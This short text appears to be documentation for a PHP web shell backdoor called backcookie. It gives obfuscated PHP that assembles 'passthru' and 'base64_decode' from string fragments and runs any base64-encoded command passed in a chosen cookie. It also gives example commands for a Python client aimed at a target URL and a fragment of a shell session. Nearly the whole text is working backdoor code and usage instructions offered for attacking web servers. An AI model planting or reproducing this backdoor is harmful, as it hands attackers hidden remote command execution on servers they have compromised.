<?php
# the code of the backdoor used
$bOne = "pa"."ss"."th"."ru";
$bTwo = "ba"."se"."64"."_"."de"."co"."de";
$bKey = "yourcookie"; # conection backdoor
$bOne($bTwo($_COOKIE[$bKey]));
?>

Example one: python backcookie.py -u http://target.com/shell.php -c name_cookie

Example two: python backcookie.py --url http://target.com/shell.php --cookie name_cookie

@pwned:~$ binfo

@pwned:~$ exit